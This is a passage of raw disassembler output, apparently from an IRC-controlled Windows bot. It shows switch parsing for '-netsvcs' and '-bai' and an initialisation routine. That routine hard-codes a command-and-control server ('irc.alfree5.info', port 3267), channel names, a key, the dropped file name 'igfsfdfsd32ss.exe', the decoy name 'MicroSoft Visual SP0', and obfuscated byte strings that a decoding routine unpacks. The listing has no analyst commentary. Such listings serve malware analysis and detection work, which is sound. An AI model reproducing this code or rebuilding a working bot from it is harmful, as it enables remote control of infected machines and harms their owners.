cl, dl cmp dl, [esi+1] jnz short loc_406DEE add eax, 2 add esi, 2 test cl, cl jnz short loc_406DCA loc_406DEA: ; CODE XREF: ___:00406DD4j xor eax, eax jmp short loc_406DF3 ; --------------------------------------------------------------------------- loc_406DEE: ; CODE XREF: ___:00406DD0j ; ___:00406DDEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DF3: ; CODE XREF: ___:00406DECj test eax, eax jnz short loc_406E00 mov byte ptr [ebx+9], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E00: ; CODE XREF: ___:00406DF5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406E07: ; CODE XREF: ___:00406E25j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E2B test cl, cl jz short loc_406E27 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E2B add eax, 2 add esi, 2 test cl, cl jnz short loc_406E07 loc_406E27: ; CODE XREF: ___:00406E11j xor eax, eax jmp short loc_406E30 ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: ___:00406E0Dj ; ___:00406E1Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E30: ; CODE XREF: ___:00406E29j test eax, eax jnz short loc_406E3D mov byte ptr [ebx+0Ah], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E3D: ; CODE XREF: ___:00406E32j mov esi, offset aBai ; "-bai" mov eax, edi loc_406E44: ; CODE XREF: ___:00406E62j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E68 test cl, cl jz short loc_406E64 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E68 add eax, 2 add esi, 2 test cl, cl jnz short loc_406E44 loc_406E64: ; CODE XREF: ___:00406E4Ej xor eax, eax jmp short loc_406E6D ; --------------------------------------------------------------------------- loc_406E68: ; CODE XREF: ___:00406E4Aj ; ___:00406E58j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E6D: ; CODE XREF: ___:00406E66j test eax, eax jnz loc_406F58 lea ecx, [esp+10h] call sub_40142E mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 call near ptr 77C47C60h nop add esp, 8 test eax, eax jz loc_406F44 push eax lea ecx, [esp+14h] call sub_4015E1 push 1 push offset asc_444600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_448F40 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406F44 push 1 push offset asc_444600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_40168B push eax lea eax, [ebx+0Ch] push eax call near ptr 77C47A90h nop add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406F44: ; CODE XREF: ___:00406EA1j ; ___:00406EF1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F58: ; CODE XREF: ___:00406DBDj ; ___:00406DFBj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D88 xor ecx, ecx loc_406F68: ; CODE XREF: ___:00406D7Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F75 mov [ebx+5], ecx loc_406F75: ; CODE XREF: ___:00406F70j cmp [ebx+5], ecx jnz short loc_406F85 test al, al jz short loc_406F85 mov dword ptr [ebx+5], 0Ah loc_406F85: ; CODE XREF: ___:00406F78j ; ___:00406F7Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) byte_406FB0 db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407080 proc near ; CODE XREF: sub_4020BDj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407080 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_40156E sub_407080 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43F00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407100 proc near ; CODE XREF: sub_40159Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015E1 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014EC sub_407100 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407140 proc near ; CODE XREF: sub_401B04j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AD7 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40162C mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jz short loc_4071BB mov edi, [esp+10h+arg_0] loc_407183: ; CODE XREF: sub_407140+79j push edi lea ecx, [esp+14h+var_8] call sub_401749 mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_4071C5 call sub_401F28 lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jnz short loc_407183 loc_4071BB: ; CODE XREF: sub_407140+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_4071C5: ; CODE XREF: sub_407140+5Aj call sub_401749 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_407140 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407210 proc near ; CODE XREF: sub_40221Bj xor al, al retn 4 sub_407210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407230 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_407230 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407270 proc near ; CODE XREF: sub_40162Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401A96 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4021A8 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_407270 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072B0 proc near ; CODE XREF: sub_4021DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4021A8 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_4072B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4072E0 proc near ; CODE XREF: sub_4014ECj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021DF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_4072E0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407320 proc near ; CODE XREF: sub_401AD7j push esi mov esi, ecx call sub_401B77 mov eax, esi pop esi retn sub_407320 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_401749j mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_407340 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407360 proc near ; CODE XREF: sub_401F28j push esi mov esi, ecx mov eax, [esi] push eax call sub_401A96 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407360 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407390 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FBE neg al sbb eax, eax inc eax retn 4 sub_407390 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4073C0 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C9E mov edi, eax push edi call sub_401C6C mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_4073C0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C6C push edi mov [eax], ebx call sub_401C6C mov edi, [eax] push edi call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_40167C mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4021A8 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407460 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019D8 sub_407460 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407475 mov edi, esi loc_407475: ; CODE XREF: ___:00407471j push esi call sub_401A96 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40748A mov edi, esi loc_40748A: ; CODE XREF: ___:00407486j push esi call sub_401C6C add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074B0 proc near ; CODE XREF: sub_401A96j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_4074B0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074D0 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4074D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401B77j mov eax, ecx retn sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407510 proc near ; CODE XREF: sub_4021A8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_407510 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407540 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_407540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407590 proc near ; CODE XREF: sub_4019D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_407590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_40167Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075F0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075F0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_401C9Ej mov eax, [ecx] retn sub_407610 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407630 proc near ; CODE XREF: sub_401D2Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40763A xor eax, eax loc_40763A: ; CODE XREF: sub_407630+6j push eax call sub_437AEA sub_407630 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407660 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40767B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40767B: ; CODE XREF: sub_407660+11j retn sub_407660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407690 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076B0 proc near ; CODE XREF: sub_401B40j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076B0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017EE push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_44ACE6 call sub_401B72 sub_4076B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407740 proc near ; CODE XREF: sub_401CD5j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407740 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+20h+arg_4] call sub_4017EE push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_44ACE6 call sub_401B72 sub_407740 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4077E0 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4077E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_2C4] call sub_40142E lea ecx, [esp+35Ch+var_2DC] mov [esp+35Ch+var_4], 0 call sub_40142E lea ecx, [esp+35Ch+var_174] mov byte ptr [esp+35Ch+var_4], 1 call sub_40142E lea ecx, [esp+35Ch+var_1A4] mov byte ptr [esp+35Ch+var_4], 2 call sub_40142E lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 3 call sub_40142E lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 4 call sub_40142E lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 5 call sub_40142E lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 6 call sub_40142E lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 7 call sub_40142E lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_40142E lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_40142E lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_40142E lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_40142E lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_40142E lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_40142E lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_40142E lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_40142E lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 10h call sub_40142E lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 11h call sub_40142E mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_18C] call sub_40142E lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 13h call sub_40142E lea ecx, [esp+35Ch+var_1BC] mov byte ptr [esp+35Ch+var_4], 14h call sub_40142E lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 15h call sub_40142E lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 16h call sub_40142E lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 17h call sub_40142E lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 18h call sub_40142E lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 19h call sub_40142E lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_40142E lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_40142E lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_40142E lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_40142E mov ebx, 1Eh push offset aIrc_alfree5_in ; "irc.alfree5.info" lea ecx, [esp+360h+var_2C4] mov byte ptr [esp+360h+var_4], bl call sub_401A9B push offset a3267 ; "3267" lea ecx, [esp+360h+var_2DC] call sub_401A9B push offset byte_448F40 lea ecx, [esp+360h+var_144] call sub_401A9B lea eax, [esp+35Ch+var_2C4] lea ecx, [esp+35Ch+var_174] push eax call sub_40202C lea ecx, [esp+35Ch+var_2DC] push ecx lea ecx, [esp+360h+var_1A4] call sub_40202C push offset byte_448F40 lea ecx, [esp+360h+var_1BC] call sub_401A9B push offset aFor_0 ; "##for##" lea ecx, [esp+360h+var_2AC] call sub_401A9B push offset aFor ; "##for" lea ecx, [esp+360h+var_24C] call sub_401A9B push offset aXkey ; "Xkey" lea ecx, [esp+360h+var_2F4] call sub_401A9B push offset aIgfsfdfsd32ss_ ; "igfsfdfsd32ss.exe" lea ecx, [esp+360h+var_1D4] call sub_401A9B push offset aAyssds4ddklfsd ; "ayssds4ddklfsdfssas" lea ecx, [esp+360h+var_204] call sub_401A9B push offset asc_444834 ; "X-" lea ecx, [esp+360h+var_294] call sub_401A9B push offset aSet ; "set" lea ecx, [esp+360h+var_234] call sub_401A9B push 0 push 4Ah push 20h push 48h push 1Ch push 4Bh push 46h push 4Ah push 46h push 47h push 4Ch push 1Fh push 48h push 1Fh push ebx push 1Bh push 1Dh push 47h push 4Bh push 47h push ebx push 45h push 46h push 4Ah push 48h push ebx push 1Dh push 1Ch push 4Ah push 20h push 4Ch push 4Dh lea edx, [esp+3DCh+var_348] push 44h push edx call sub_4019C4 add esp, 88h push eax lea ecx, [esp+360h+var_264] mov byte ptr [esp+360h+var_4], 1Fh call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push offset aFeeling_nasty ; "feeling.nasty" lea ecx, [esp+360h+var_E4] call sub_401A9B push offset aEvil ; "evil" lea ecx, [esp+360h+var_15C] call sub_401A9B push offset aMicrosoftVisua ; "MicroSoft Visual SP0" lea ecx, [esp+360h+var_114] call sub_401A9B push offset dword_4447F8 lea ecx, [esp+360h+var_27C] call sub_401A9B push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019C4 add esp, 30h push eax lea ecx, [esp+360h+var_18C] mov byte ptr [esp+360h+var_4], 20h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 0Dh push 0Fh push 3 push 4Fh push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 19h push 14h push 0Fh push 2 push 12h lea ecx, [esp+3ACh+var_348] push 13h push ecx call sub_4019C4 add esp, 58h push eax lea ecx, [esp+360h+var_1EC] mov byte ptr [esp+360h+var_4], 21h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_CC] mov byte ptr [esp+360h+var_4], 22h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 23h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea ecx, [esp+368h+var_348] push 46h push ecx call sub_4019C4 add esp, 14h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 24h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 25h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 26h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019C4 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 27h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2F4] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh mov byte ptr [esp+39Ch+var_4], 28h push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 29h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401870 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 2Ah call sub_401CD5 sub_4077E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 2Bh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Ch call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1035h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Dh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Eh call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Fh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 30h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh mov byte ptr [esp+39Ch], 31h push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 32h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr [esp+38Ch], 33h 